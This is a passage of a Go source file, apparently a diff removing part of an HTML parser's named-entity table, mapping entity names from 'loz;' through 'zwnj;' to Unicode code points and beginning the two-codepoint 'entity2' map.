'\U0000005F', - "loz;": '\U000025CA', - "lozenge;": '\U000025CA', - "lozf;": '\U000029EB', - "lpar;": '\U00000028', - "lparlt;": '\U00002993', - "lrarr;": '\U000021C6', - "lrcorner;": '\U0000231F', - "lrhar;": '\U000021CB', - "lrhard;": '\U0000296D', - "lrm;": '\U0000200E', - "lrtri;": '\U000022BF', - "lsaquo;": '\U00002039', - "lscr;": '\U0001D4C1', - "lsh;": '\U000021B0', - "lsim;": '\U00002272', - "lsime;": '\U00002A8D', - "lsimg;": '\U00002A8F', - "lsqb;": '\U0000005B', - "lsquo;": '\U00002018', - "lsquor;": '\U0000201A', - "lstrok;": '\U00000142', - "lt;": '\U0000003C', - "ltcc;": '\U00002AA6', - "ltcir;": '\U00002A79', - "ltdot;": '\U000022D6', - "lthree;": '\U000022CB', - "ltimes;": '\U000022C9', - "ltlarr;": '\U00002976', - "ltquest;": '\U00002A7B', - "ltrPar;": '\U00002996', - "ltri;": '\U000025C3', - "ltrie;": '\U000022B4', - "ltrif;": '\U000025C2', - "lurdshar;": '\U0000294A', - "luruhar;": '\U00002966', - "mDDot;": '\U0000223A', - "macr;": '\U000000AF', - "male;": '\U00002642', - "malt;": '\U00002720', - "maltese;": '\U00002720', - "map;": '\U000021A6', - "mapsto;": '\U000021A6', - "mapstodown;": '\U000021A7', - "mapstoleft;": '\U000021A4', - "mapstoup;": '\U000021A5', - "marker;": '\U000025AE', - "mcomma;": '\U00002A29', - "mcy;": '\U0000043C', - "mdash;": '\U00002014', - "measuredangle;": '\U00002221', - "mfr;": '\U0001D52A', - "mho;": '\U00002127', - "micro;": '\U000000B5', - "mid;": '\U00002223', - "midast;": '\U0000002A', - "midcir;": '\U00002AF0', - "middot;": '\U000000B7', - "minus;": '\U00002212', - "minusb;": '\U0000229F', - "minusd;": '\U00002238', - "minusdu;": '\U00002A2A', - "mlcp;": '\U00002ADB', - "mldr;": '\U00002026', - "mnplus;": '\U00002213', - "models;": '\U000022A7', - "mopf;": '\U0001D55E', - "mp;": '\U00002213', - "mscr;": '\U0001D4C2', - "mstpos;": '\U0000223E', - "mu;": '\U000003BC', - "multimap;": '\U000022B8', - "mumap;": '\U000022B8', - "nLeftarrow;": '\U000021CD', - "nLeftrightarrow;": '\U000021CE', - "nRightarrow;": '\U000021CF', - "nVDash;": '\U000022AF', - "nVdash;": '\U000022AE', - "nabla;": '\U00002207', - "nacute;": '\U00000144', - "nap;": '\U00002249', - "napos;": '\U00000149', - "napprox;": '\U00002249', - "natur;": '\U0000266E', - "natural;": '\U0000266E', - "naturals;": '\U00002115', - "nbsp;": '\U000000A0', - "ncap;": '\U00002A43', - "ncaron;": '\U00000148', - "ncedil;": '\U00000146', - "ncong;": '\U00002247', - "ncup;": '\U00002A42', - "ncy;": '\U0000043D', - "ndash;": '\U00002013', - "ne;": '\U00002260', - "neArr;": '\U000021D7', - "nearhk;": '\U00002924', - "nearr;": '\U00002197', - "nearrow;": '\U00002197', - "nequiv;": '\U00002262', - "nesear;": '\U00002928', - "nexist;": '\U00002204', - "nexists;": '\U00002204', - "nfr;": '\U0001D52B', - "nge;": '\U00002271', - "ngeq;": '\U00002271', - "ngsim;": '\U00002275', - "ngt;": '\U0000226F', - "ngtr;": '\U0000226F', - "nhArr;": '\U000021CE', - "nharr;": '\U000021AE', - "nhpar;": '\U00002AF2', - "ni;": '\U0000220B', - "nis;": '\U000022FC', - "nisd;": '\U000022FA', - "niv;": '\U0000220B', - "njcy;": '\U0000045A', - "nlArr;": '\U000021CD', - "nlarr;": '\U0000219A', - "nldr;": '\U00002025', - "nle;": '\U00002270', - "nleftarrow;": '\U0000219A', - "nleftrightarrow;": '\U000021AE', - "nleq;": '\U00002270', - "nless;": '\U0000226E', - "nlsim;": '\U00002274', - "nlt;": '\U0000226E', - "nltri;": '\U000022EA', - "nltrie;": '\U000022EC', - "nmid;": '\U00002224', - "nopf;": '\U0001D55F', - "not;": '\U000000AC', - "notin;": '\U00002209', - "notinva;": '\U00002209', - "notinvb;": '\U000022F7', - "notinvc;": '\U000022F6', - "notni;": '\U0000220C', - "notniva;": '\U0000220C', - "notnivb;": '\U000022FE', - "notnivc;": '\U000022FD', - "npar;": '\U00002226', - "nparallel;": '\U00002226', - "npolint;": '\U00002A14', - "npr;": '\U00002280', - "nprcue;": '\U000022E0', - "nprec;": '\U00002280', - "nrArr;": '\U000021CF', - "nrarr;": '\U0000219B', - "nrightarrow;": '\U0000219B', - "nrtri;": '\U000022EB', - "nrtrie;": '\U000022ED', - "nsc;": '\U00002281', - "nsccue;": '\U000022E1', - "nscr;": '\U0001D4C3', - "nshortmid;": '\U00002224', - "nshortparallel;": '\U00002226', - "nsim;": '\U00002241', - "nsime;": '\U00002244', - "nsimeq;": '\U00002244', - "nsmid;": '\U00002224', - "nspar;": '\U00002226', - "nsqsube;": '\U000022E2', - "nsqsupe;": '\U000022E3', - "nsub;": '\U00002284', - "nsube;": '\U00002288', - "nsubseteq;": '\U00002288', - "nsucc;": '\U00002281', - "nsup;": '\U00002285', - "nsupe;": '\U00002289', - "nsupseteq;": '\U00002289', - "ntgl;": '\U00002279', - "ntilde;": '\U000000F1', - "ntlg;": '\U00002278', - "ntriangleleft;": '\U000022EA', - "ntrianglelefteq;": '\U000022EC', - "ntriangleright;": '\U000022EB', - "ntrianglerighteq;": '\U000022ED', - "nu;": '\U000003BD', - "num;": '\U00000023', - "numero;": '\U00002116', - "numsp;": '\U00002007', - "nvDash;": '\U000022AD', - "nvHarr;": '\U00002904', - "nvdash;": '\U000022AC', - "nvinfin;": '\U000029DE', - "nvlArr;": '\U00002902', - "nvrArr;": '\U00002903', - "nwArr;": '\U000021D6', - "nwarhk;": '\U00002923', - "nwarr;": '\U00002196', - "nwarrow;": '\U00002196', - "nwnear;": '\U00002927', - "oS;": '\U000024C8', - "oacute;": '\U000000F3', - "oast;": '\U0000229B', - "ocir;": '\U0000229A', - "ocirc;": '\U000000F4', - "ocy;": '\U0000043E', - "odash;": '\U0000229D', - "odblac;": '\U00000151', - "odiv;": '\U00002A38', - "odot;": '\U00002299', - "odsold;": '\U000029BC', - "oelig;": '\U00000153', - "ofcir;": '\U000029BF', - "ofr;": '\U0001D52C', - "ogon;": '\U000002DB', - "ograve;": '\U000000F2', - "ogt;": '\U000029C1', - "ohbar;": '\U000029B5', - "ohm;": '\U000003A9', - "oint;": '\U0000222E', - "olarr;": '\U000021BA', - "olcir;": '\U000029BE', - "olcross;": '\U000029BB', - "oline;": '\U0000203E', - "olt;": '\U000029C0', - "omacr;": '\U0000014D', - "omega;": '\U000003C9', - "omicron;": '\U000003BF', - "omid;": '\U000029B6', - "ominus;": '\U00002296', - "oopf;": '\U0001D560', - "opar;": '\U000029B7', - "operp;": '\U000029B9', - "oplus;": '\U00002295', - "or;": '\U00002228', - "orarr;": '\U000021BB', - "ord;": '\U00002A5D', - "order;": '\U00002134', - "orderof;": '\U00002134', - "ordf;": '\U000000AA', - "ordm;": '\U000000BA', - "origof;": '\U000022B6', - "oror;": '\U00002A56', - "orslope;": '\U00002A57', - "orv;": '\U00002A5B', - "oscr;": '\U00002134', - "oslash;": '\U000000F8', - "osol;": '\U00002298', - "otilde;": '\U000000F5', - "otimes;": '\U00002297', - "otimesas;": '\U00002A36', - "ouml;": '\U000000F6', - "ovbar;": '\U0000233D', - "par;": '\U00002225', - "para;": '\U000000B6', - "parallel;": '\U00002225', - "parsim;": '\U00002AF3', - "parsl;": '\U00002AFD', - "part;": '\U00002202', - "pcy;": '\U0000043F', - "percnt;": '\U00000025', - "period;": '\U0000002E', - "permil;": '\U00002030', - "perp;": '\U000022A5', - "pertenk;": '\U00002031', - "pfr;": '\U0001D52D', - "phi;": '\U000003C6', - "phiv;": '\U000003D5', - "phmmat;": '\U00002133', - "phone;": '\U0000260E', - "pi;": '\U000003C0', - "pitchfork;": '\U000022D4', - "piv;": '\U000003D6', - "planck;": '\U0000210F', - "planckh;": '\U0000210E', - "plankv;": '\U0000210F', - "plus;": '\U0000002B', - "plusacir;": '\U00002A23', - "plusb;": '\U0000229E', - "pluscir;": '\U00002A22', - "plusdo;": '\U00002214', - "plusdu;": '\U00002A25', - "pluse;": '\U00002A72', - "plusmn;": '\U000000B1', - "plussim;": '\U00002A26', - "plustwo;": '\U00002A27', - "pm;": '\U000000B1', - "pointint;": '\U00002A15', - "popf;": '\U0001D561', - "pound;": '\U000000A3', - "pr;": '\U0000227A', - "prE;": '\U00002AB3', - "prap;": '\U00002AB7', - "prcue;": '\U0000227C', - "pre;": '\U00002AAF', - "prec;": '\U0000227A', - "precapprox;": '\U00002AB7', - "preccurlyeq;": '\U0000227C', - "preceq;": '\U00002AAF', - "precnapprox;": '\U00002AB9', - "precneqq;": '\U00002AB5', - "precnsim;": '\U000022E8', - "precsim;": '\U0000227E', - "prime;": '\U00002032', - "primes;": '\U00002119', - "prnE;": '\U00002AB5', - "prnap;": '\U00002AB9', - "prnsim;": '\U000022E8', - "prod;": '\U0000220F', - "profalar;": '\U0000232E', - "profline;": '\U00002312', - "profsurf;": '\U00002313', - "prop;": '\U0000221D', - "propto;": '\U0000221D', - "prsim;": '\U0000227E', - "prurel;": '\U000022B0', - "pscr;": '\U0001D4C5', - "psi;": '\U000003C8', - "puncsp;": '\U00002008', - "qfr;": '\U0001D52E', - "qint;": '\U00002A0C', - "qopf;": '\U0001D562', - "qprime;": '\U00002057', - "qscr;": '\U0001D4C6', - "quaternions;": '\U0000210D', - "quatint;": '\U00002A16', - "quest;": '\U0000003F', - "questeq;": '\U0000225F', - "quot;": '\U00000022', - "rAarr;": '\U000021DB', - "rArr;": '\U000021D2', - "rAtail;": '\U0000291C', - "rBarr;": '\U0000290F', - "rHar;": '\U00002964', - "racute;": '\U00000155', - "radic;": '\U0000221A', - "raemptyv;": '\U000029B3', - "rang;": '\U000027E9', - "rangd;": '\U00002992', - "range;": '\U000029A5', - "rangle;": '\U000027E9', - "raquo;": '\U000000BB', - "rarr;": '\U00002192', - "rarrap;": '\U00002975', - "rarrb;": '\U000021E5', - "rarrbfs;": '\U00002920', - "rarrc;": '\U00002933', - "rarrfs;": '\U0000291E', - "rarrhk;": '\U000021AA', - "rarrlp;": '\U000021AC', - "rarrpl;": '\U00002945', - "rarrsim;": '\U00002974', - "rarrtl;": '\U000021A3', - "rarrw;": '\U0000219D', - "ratail;": '\U0000291A', - "ratio;": '\U00002236', - "rationals;": '\U0000211A', - "rbarr;": '\U0000290D', - "rbbrk;": '\U00002773', - "rbrace;": '\U0000007D', - "rbrack;": '\U0000005D', - "rbrke;": '\U0000298C', - "rbrksld;": '\U0000298E', - "rbrkslu;": '\U00002990', - "rcaron;": '\U00000159', - "rcedil;": '\U00000157', - "rceil;": '\U00002309', - "rcub;": '\U0000007D', - "rcy;": '\U00000440', - "rdca;": '\U00002937', - "rdldhar;": '\U00002969', - "rdquo;": '\U0000201D', - "rdquor;": '\U0000201D', - "rdsh;": '\U000021B3', - "real;": '\U0000211C', - "realine;": '\U0000211B', - "realpart;": '\U0000211C', - "reals;": '\U0000211D', - "rect;": '\U000025AD', - "reg;": '\U000000AE', - "rfisht;": '\U0000297D', - "rfloor;": '\U0000230B', - "rfr;": '\U0001D52F', - "rhard;": '\U000021C1', - "rharu;": '\U000021C0', - "rharul;": '\U0000296C', - "rho;": '\U000003C1', - "rhov;": '\U000003F1', - "rightarrow;": '\U00002192', - "rightarrowtail;": '\U000021A3', - "rightharpoondown;": '\U000021C1', - "rightharpoonup;": '\U000021C0', - "rightleftarrows;": '\U000021C4', - "rightleftharpoons;": '\U000021CC', - "rightrightarrows;": '\U000021C9', - "rightsquigarrow;": '\U0000219D', - "rightthreetimes;": '\U000022CC', - "ring;": '\U000002DA', - "risingdotseq;": '\U00002253', - "rlarr;": '\U000021C4', - "rlhar;": '\U000021CC', - "rlm;": '\U0000200F', - "rmoust;": '\U000023B1', - "rmoustache;": '\U000023B1', - "rnmid;": '\U00002AEE', - "roang;": '\U000027ED', - "roarr;": '\U000021FE', - "robrk;": '\U000027E7', - "ropar;": '\U00002986', - "ropf;": '\U0001D563', - "roplus;": '\U00002A2E', - "rotimes;": '\U00002A35', - "rpar;": '\U00000029', - "rpargt;": '\U00002994', - "rppolint;": '\U00002A12', - "rrarr;": '\U000021C9', - "rsaquo;": '\U0000203A', - "rscr;": '\U0001D4C7', - "rsh;": '\U000021B1', - "rsqb;": '\U0000005D', - "rsquo;": '\U00002019', - "rsquor;": '\U00002019', - "rthree;": '\U000022CC', - "rtimes;": '\U000022CA', - "rtri;": '\U000025B9', - "rtrie;": '\U000022B5', - "rtrif;": '\U000025B8', - "rtriltri;": '\U000029CE', - "ruluhar;": '\U00002968', - "rx;": '\U0000211E', - "sacute;": '\U0000015B', - "sbquo;": '\U0000201A', - "sc;": '\U0000227B', - "scE;": '\U00002AB4', - "scap;": '\U00002AB8', - "scaron;": '\U00000161', - "sccue;": '\U0000227D', - "sce;": '\U00002AB0', - "scedil;": '\U0000015F', - "scirc;": '\U0000015D', - "scnE;": '\U00002AB6', - "scnap;": '\U00002ABA', - "scnsim;": '\U000022E9', - "scpolint;": '\U00002A13', - "scsim;": '\U0000227F', - "scy;": '\U00000441', - "sdot;": '\U000022C5', - "sdotb;": '\U000022A1', - "sdote;": '\U00002A66', - "seArr;": '\U000021D8', - "searhk;": '\U00002925', - "searr;": '\U00002198', - "searrow;": '\U00002198', - "sect;": '\U000000A7', - "semi;": '\U0000003B', - "seswar;": '\U00002929', - "setminus;": '\U00002216', - "setmn;": '\U00002216', - "sext;": '\U00002736', - "sfr;": '\U0001D530', - "sfrown;": '\U00002322', - "sharp;": '\U0000266F', - "shchcy;": '\U00000449', - "shcy;": '\U00000448', - "shortmid;": '\U00002223', - "shortparallel;": '\U00002225', - "shy;": '\U000000AD', - "sigma;": '\U000003C3', - "sigmaf;": '\U000003C2', - "sigmav;": '\U000003C2', - "sim;": '\U0000223C', - "simdot;": '\U00002A6A', - "sime;": '\U00002243', - "simeq;": '\U00002243', - "simg;": '\U00002A9E', - "simgE;": '\U00002AA0', - "siml;": '\U00002A9D', - "simlE;": '\U00002A9F', - "simne;": '\U00002246', - "simplus;": '\U00002A24', - "simrarr;": '\U00002972', - "slarr;": '\U00002190', - "smallsetminus;": '\U00002216', - "smashp;": '\U00002A33', - "smeparsl;": '\U000029E4', - "smid;": '\U00002223', - "smile;": '\U00002323', - "smt;": '\U00002AAA', - "smte;": '\U00002AAC', - "softcy;": '\U0000044C', - "sol;": '\U0000002F', - "solb;": '\U000029C4', - "solbar;": '\U0000233F', - "sopf;": '\U0001D564', - "spades;": '\U00002660', - "spadesuit;": '\U00002660', - "spar;": '\U00002225', - "sqcap;": '\U00002293', - "sqcup;": '\U00002294', - "sqsub;": '\U0000228F', - "sqsube;": '\U00002291', - "sqsubset;": '\U0000228F', - "sqsubseteq;": '\U00002291', - "sqsup;": '\U00002290', - "sqsupe;": '\U00002292', - "sqsupset;": '\U00002290', - "sqsupseteq;": '\U00002292', - "squ;": '\U000025A1', - "square;": '\U000025A1', - "squarf;": '\U000025AA', - "squf;": '\U000025AA', - "srarr;": '\U00002192', - "sscr;": '\U0001D4C8', - "ssetmn;": '\U00002216', - "ssmile;": '\U00002323', - "sstarf;": '\U000022C6', - "star;": '\U00002606', - "starf;": '\U00002605', - "straightepsilon;": '\U000003F5', - "straightphi;": '\U000003D5', - "strns;": '\U000000AF', - "sub;": '\U00002282', - "subE;": '\U00002AC5', - "subdot;": '\U00002ABD', - "sube;": '\U00002286', - "subedot;": '\U00002AC3', - "submult;": '\U00002AC1', - "subnE;": '\U00002ACB', - "subne;": '\U0000228A', - "subplus;": '\U00002ABF', - "subrarr;": '\U00002979', - "subset;": '\U00002282', - "subseteq;": '\U00002286', - "subseteqq;": '\U00002AC5', - "subsetneq;": '\U0000228A', - "subsetneqq;": '\U00002ACB', - "subsim;": '\U00002AC7', - "subsub;": '\U00002AD5', - "subsup;": '\U00002AD3', - "succ;": '\U0000227B', - "succapprox;": '\U00002AB8', - "succcurlyeq;": '\U0000227D', - "succeq;": '\U00002AB0', - "succnapprox;": '\U00002ABA', - "succneqq;": '\U00002AB6', - "succnsim;": '\U000022E9', - "succsim;": '\U0000227F', - "sum;": '\U00002211', - "sung;": '\U0000266A', - "sup;": '\U00002283', - "sup1;": '\U000000B9', - "sup2;": '\U000000B2', - "sup3;": '\U000000B3', - "supE;": '\U00002AC6', - "supdot;": '\U00002ABE', - "supdsub;": '\U00002AD8', - "supe;": '\U00002287', - "supedot;": '\U00002AC4', - "suphsol;": '\U000027C9', - "suphsub;": '\U00002AD7', - "suplarr;": '\U0000297B', - "supmult;": '\U00002AC2', - "supnE;": '\U00002ACC', - "supne;": '\U0000228B', - "supplus;": '\U00002AC0', - "supset;": '\U00002283', - "supseteq;": '\U00002287', - "supseteqq;": '\U00002AC6', - "supsetneq;": '\U0000228B', - "supsetneqq;": '\U00002ACC', - "supsim;": '\U00002AC8', - "supsub;": '\U00002AD4', - "supsup;": '\U00002AD6', - "swArr;": '\U000021D9', - "swarhk;": '\U00002926', - "swarr;": '\U00002199', - "swarrow;": '\U00002199', - "swnwar;": '\U0000292A', - "szlig;": '\U000000DF', - "target;": '\U00002316', - "tau;": '\U000003C4', - "tbrk;": '\U000023B4', - "tcaron;": '\U00000165', - "tcedil;": '\U00000163', - "tcy;": '\U00000442', - "tdot;": '\U000020DB', - "telrec;": '\U00002315', - "tfr;": '\U0001D531', - "there4;": '\U00002234', - "therefore;": '\U00002234', - "theta;": '\U000003B8', - "thetasym;": '\U000003D1', - "thetav;": '\U000003D1', - "thickapprox;": '\U00002248', - "thicksim;": '\U0000223C', - "thinsp;": '\U00002009', - "thkap;": '\U00002248', - "thksim;": '\U0000223C', - "thorn;": '\U000000FE', - "tilde;": '\U000002DC', - "times;": '\U000000D7', - "timesb;": '\U000022A0', - "timesbar;": '\U00002A31', - "timesd;": '\U00002A30', - "tint;": '\U0000222D', - "toea;": '\U00002928', - "top;": '\U000022A4', - "topbot;": '\U00002336', - "topcir;": '\U00002AF1', - "topf;": '\U0001D565', - "topfork;": '\U00002ADA', - "tosa;": '\U00002929', - "tprime;": '\U00002034', - "trade;": '\U00002122', - "triangle;": '\U000025B5', - "triangledown;": '\U000025BF', - "triangleleft;": '\U000025C3', - "trianglelefteq;": '\U000022B4', - "triangleq;": '\U0000225C', - "triangleright;": '\U000025B9', - "trianglerighteq;": '\U000022B5', - "tridot;": '\U000025EC', - "trie;": '\U0000225C', - "triminus;": '\U00002A3A', - "triplus;": '\U00002A39', - "trisb;": '\U000029CD', - "tritime;": '\U00002A3B', - "trpezium;": '\U000023E2', - "tscr;": '\U0001D4C9', - "tscy;": '\U00000446', - "tshcy;": '\U0000045B', - "tstrok;": '\U00000167', - "twixt;": '\U0000226C', - "twoheadleftarrow;": '\U0000219E', - "twoheadrightarrow;": '\U000021A0', - "uArr;": '\U000021D1', - "uHar;": '\U00002963', - "uacute;": '\U000000FA', - "uarr;": '\U00002191', - "ubrcy;": '\U0000045E', - "ubreve;": '\U0000016D', - "ucirc;": '\U000000FB', - "ucy;": '\U00000443', - "udarr;": '\U000021C5', - "udblac;": '\U00000171', - "udhar;": '\U0000296E', - "ufisht;": '\U0000297E', - "ufr;": '\U0001D532', - "ugrave;": '\U000000F9', - "uharl;": '\U000021BF', - "uharr;": '\U000021BE', - "uhblk;": '\U00002580', - "ulcorn;": '\U0000231C', - "ulcorner;": '\U0000231C', - "ulcrop;": '\U0000230F', - "ultri;": '\U000025F8', - "umacr;": '\U0000016B', - "uml;": '\U000000A8', - "uogon;": '\U00000173', - "uopf;": '\U0001D566', - "uparrow;": '\U00002191', - "updownarrow;": '\U00002195', - "upharpoonleft;": '\U000021BF', - "upharpoonright;": '\U000021BE', - "uplus;": '\U0000228E', - "upsi;": '\U000003C5', - "upsih;": '\U000003D2', - "upsilon;": '\U000003C5', - "upuparrows;": '\U000021C8', - "urcorn;": '\U0000231D', - "urcorner;": '\U0000231D', - "urcrop;": '\U0000230E', - "uring;": '\U0000016F', - "urtri;": '\U000025F9', - "uscr;": '\U0001D4CA', - "utdot;": '\U000022F0', - "utilde;": '\U00000169', - "utri;": '\U000025B5', - "utrif;": '\U000025B4', - "uuarr;": '\U000021C8', - "uuml;": '\U000000FC', - "uwangle;": '\U000029A7', - "vArr;": '\U000021D5', - "vBar;": '\U00002AE8', - "vBarv;": '\U00002AE9', - "vDash;": '\U000022A8', - "vangrt;": '\U0000299C', - "varepsilon;": '\U000003F5', - "varkappa;": '\U000003F0', - "varnothing;": '\U00002205', - "varphi;": '\U000003D5', - "varpi;": '\U000003D6', - "varpropto;": '\U0000221D', - "varr;": '\U00002195', - "varrho;": '\U000003F1', - "varsigma;": '\U000003C2', - "vartheta;": '\U000003D1', - "vartriangleleft;": '\U000022B2', - "vartriangleright;": '\U000022B3', - "vcy;": '\U00000432', - "vdash;": '\U000022A2', - "vee;": '\U00002228', - "veebar;": '\U000022BB', - "veeeq;": '\U0000225A', - "vellip;": '\U000022EE', - "verbar;": '\U0000007C', - "vert;": '\U0000007C', - "vfr;": '\U0001D533', - "vltri;": '\U000022B2', - "vopf;": '\U0001D567', - "vprop;": '\U0000221D', - "vrtri;": '\U000022B3', - "vscr;": '\U0001D4CB', - "vzigzag;": '\U0000299A', - "wcirc;": '\U00000175', - "wedbar;": '\U00002A5F', - "wedge;": '\U00002227', - "wedgeq;": '\U00002259', - "weierp;": '\U00002118', - "wfr;": '\U0001D534', - "wopf;": '\U0001D568', - "wp;": '\U00002118', - "wr;": '\U00002240', - "wreath;": '\U00002240', - "wscr;": '\U0001D4CC', - "xcap;": '\U000022C2', - "xcirc;": '\U000025EF', - "xcup;": '\U000022C3', - "xdtri;": '\U000025BD', - "xfr;": '\U0001D535', - "xhArr;": '\U000027FA', - "xharr;": '\U000027F7', - "xi;": '\U000003BE', - "xlArr;": '\U000027F8', - "xlarr;": '\U000027F5', - "xmap;": '\U000027FC', - "xnis;": '\U000022FB', - "xodot;": '\U00002A00', - "xopf;": '\U0001D569', - "xoplus;": '\U00002A01', - "xotime;": '\U00002A02', - "xrArr;": '\U000027F9', - "xrarr;": '\U000027F6', - "xscr;": '\U0001D4CD', - "xsqcup;": '\U00002A06', - "xuplus;": '\U00002A04', - "xutri;": '\U000025B3', - "xvee;": '\U000022C1', - "xwedge;": '\U000022C0', - "yacute;": '\U000000FD', - "yacy;": '\U0000044F', - "ycirc;": '\U00000177', - "ycy;": '\U0000044B', - "yen;": '\U000000A5', - "yfr;": '\U0001D536', - "yicy;": '\U00000457', - "yopf;": '\U0001D56A', - "yscr;": '\U0001D4CE', - "yucy;": '\U0000044E', - "yuml;": '\U000000FF', - "zacute;": '\U0000017A', - "zcaron;": '\U0000017E', - "zcy;": '\U00000437', - "zdot;": '\U0000017C', - "zeetrf;": '\U00002128', - "zeta;": '\U000003B6', - "zfr;": '\U0001D537', - "zhcy;": '\U00000436', - "zigrarr;": '\U000021DD', - "zopf;": '\U0001D56B', - "zscr;": '\U0001D4CF', - "zwj;": '\U0000200D', - "zwnj;": '\U0000200C', - "AElig": '\U000000C6', - "AMP": '\U00000026', - "Aacute": '\U000000C1', - "Acirc": '\U000000C2', - "Agrave": '\U000000C0', - "Aring": '\U000000C5', - "Atilde": '\U000000C3', - "Auml": '\U000000C4', - "COPY": '\U000000A9', - "Ccedil": '\U000000C7', - "ETH": '\U000000D0', - "Eacute": '\U000000C9', - "Ecirc": '\U000000CA', - "Egrave": '\U000000C8', - "Euml": '\U000000CB', - "GT": '\U0000003E', - "Iacute": '\U000000CD', - "Icirc": '\U000000CE', - "Igrave": '\U000000CC', - "Iuml": '\U000000CF', - "LT": '\U0000003C', - "Ntilde": '\U000000D1', - "Oacute": '\U000000D3', - "Ocirc": '\U000000D4', - "Ograve": '\U000000D2', - "Oslash": '\U000000D8', - "Otilde": '\U000000D5', - "Ouml": '\U000000D6', - "QUOT": '\U00000022', - "REG": '\U000000AE', - "THORN": '\U000000DE', - "Uacute": '\U000000DA', - "Ucirc": '\U000000DB', - "Ugrave": '\U000000D9', - "Uuml": '\U000000DC', - "Yacute": '\U000000DD', - "aacute": '\U000000E1', - "acirc": '\U000000E2', - "acute": '\U000000B4', - "aelig": '\U000000E6', - "agrave": '\U000000E0', - "amp": '\U00000026', - "aring": '\U000000E5', - "atilde": '\U000000E3', - "auml": '\U000000E4', - "brvbar": '\U000000A6', - "ccedil": '\U000000E7', - "cedil": '\U000000B8', - "cent": '\U000000A2', - "copy": '\U000000A9', - "curren": '\U000000A4', - "deg": '\U000000B0', - "divide": '\U000000F7', - "eacute": '\U000000E9', - "ecirc": '\U000000EA', - "egrave": '\U000000E8', - "eth": '\U000000F0', - "euml": '\U000000EB', - "frac12": '\U000000BD', - "frac14": '\U000000BC', - "frac34": '\U000000BE', - "gt": '\U0000003E', - "iacute": '\U000000ED', - "icirc": '\U000000EE', - "iexcl": '\U000000A1', - "igrave": '\U000000EC', - "iquest": '\U000000BF', - "iuml": '\U000000EF', - "laquo": '\U000000AB', - "lt": '\U0000003C', - "macr": '\U000000AF', - "micro": '\U000000B5', - "middot": '\U000000B7', - "nbsp": '\U000000A0', - "not": '\U000000AC', - "ntilde": '\U000000F1', - "oacute": '\U000000F3', - "ocirc": '\U000000F4', - "ograve": '\U000000F2', - "ordf": '\U000000AA', - "ordm": '\U000000BA', - "oslash": '\U000000F8', - "otilde": '\U000000F5', - "ouml": '\U000000F6', - "para": '\U000000B6', - "plusmn": '\U000000B1', - "pound": '\U000000A3', - "quot": '\U00000022', - "raquo": '\U000000BB', - "reg": '\U000000AE', - "sect": '\U000000A7', - "shy": '\U000000AD', - "sup1": '\U000000B9', - "sup2": '\U000000B2', - "sup3": '\U000000B3', - "szlig": '\U000000DF', - "thorn": '\U000000FE', - "times": '\U000000D7', - "uacute": '\U000000FA', - "ucirc": '\U000000FB', - "ugrave": '\U000000F9', - "uml": '\U000000A8', - "uuml": '\U000000FC', - "yacute": '\U000000FD', - "yen": '\U000000A5', - "yuml": '\U000000FF', -} - -// HTML entities that are two unicode codepoints. -var entity2 = map[string][2]rune{ - // TODO(nigeltao): Handle replacements that are wider than their names. - // "nLt;": {'\u226A', '\u20D2'}, - // "nGt;": {'\u226B', '\u20D2'}, - "NotEqualTilde;": {'\u2242', '\u0338'}, - "NotGreaterFullEqual;": {'\u2267', '\u0338'}, - "NotGreaterGreater;": {'\u226B', '\u0338'}, - "NotGreaterSlantEqual;": {'\u2A7E', '\u0338'}, - "NotHumpDownHump;": {'\u224E', '\u0338'}, - "NotHumpEqual;": {'\u224F', '\u0338'}, - "NotLeftTriangleBar;": {'\u29CF', '\u0338'}, - "NotLessLess;": {'\u226A', '\u0338'}, - "NotLessSlantEqual;": {'\u2A7D', '\u0338'}, - "NotNestedGreaterGreater;": {'\u2AA2', '\u0338'}, - "NotNestedLessLess;": {'\u2AA1', '\u0338'}, - "NotPrecedesEqual;": {'\u2AAF', '\u0338'}, - "NotRightTriangleBar;": {'\u29D0', '\u0338'}, - "NotSquareSubset;": {'\u228F', '\u0338'}, - "NotSquareSuperset;": {'\u2290', '\u0338'}, - "NotSubset;": {'\u2282', '\u20D2'}, - "NotSucceedsEqual;": {'\u2AB0', '\u0338'}, - "NotSucceedsTilde;": {'\u227F', '\u0338'}, - "NotSuperset;": {'\u2283', '\u20D2'}, - "ThickSpace;": {'\u205F', '\u200A'}, - "acE;": {'\u223E', '\u0333'}, - "bne;": {'\u003D', '\u20E5'}, - "bnequiv;": {'\u2261', '\u20E5'}, - "caps;": {'\u2229', '\uFE00'}, - "cups;": {'\u222A', '\uFE00'}, - "fjlig;": {'\u0066', '\u006A'}, - "gesl;": {'\u22DB', '\uFE00'}, - "gvertneqq;": {'\u2269', '\uFE00'}, - "gvnE;": {'\u2269', '\uFE00'}, - "lates;": {'\u2AAD', '\uFE00'}, - "lesg;": {'\u22DA', '\uFE00'}, - "lvertneqq;": {'\u2268', '\uFE00'}, - "lvnE;": {'\u2268', '\uFE00'}, - "nGg;": {'\u22D9', '\u0338'}, - "nGtv;": {'\u226B', '\u0338'}, - "nLl;": {'\u22D8', '\u0338'}, - "nLtv;": {'\u226A', '\u0338'}, - "nang;": {'\u2220', '\u20D2'}, - "napE;": {'\u2A70', '\u0338'}, - "napid;": {'\u224B', '\u0338'}, - "nbump;": {'\u224E', '\u0338'}, - "nbumpe;": {'\u224F', '\u0338'}, - "ncongdot;": {'\u2A6D', '\u0338'}, - "nedot;": {'\u2250', '\u0338'}, - "nesim;": {'\u2242', '\u0338'}, - "ngE;": {'\u2267', '\u0338'}, - "ngeqq;": {'\u2267', '\u0338'}, - "ngeqslant;": {'\u2A7E', '\u0338'}, - "nges;": {'\u2A7E', '\u0338'}, - "nlE;": {'\u2266', '\u0338'}, - "nleqq;": {'\u2266', '\u0338'}, - "nleqslant;": {'\u2A7D', '\u0338'}, - "nles;": {'\u2A7D', '\u0338'}, - "notinE;": {'\u22F9', '\u0338'}, - "notindot;": {'\u22F5', '\u0338'}, - "nparsl;": {'\u2AFD', '\u20E5'}, - "npart;": {'\u2202', '\u0338'}, - "npre;": {'\u2AAF', '\u0338'}, - "npreceq;": {'\u2AAF', '\u0338'}, - "nrarrc;": {'\u2933', '\u0338'}, - "nrarrw;": {'\u219D', '\u0338'}, - "nsce;": {'\u2AB0', '\u0338'}, - "nsubE;": {'\u2AC5', '\u0338'}, - "nsubset;": {'\u2282', '\u20D2'}, - "nsubseteqq;": {'\u2AC5', '\u0338'}, - "nsucceq;": {'\u2AB0', '\u0338'}, - "nsupE;": {'\u2AC6', '\u0338'}, - "nsupset;": {'\u2283', '\u20D2'}, - "nsupseteqq;": {'\u2AC6', '\u0338'}, - 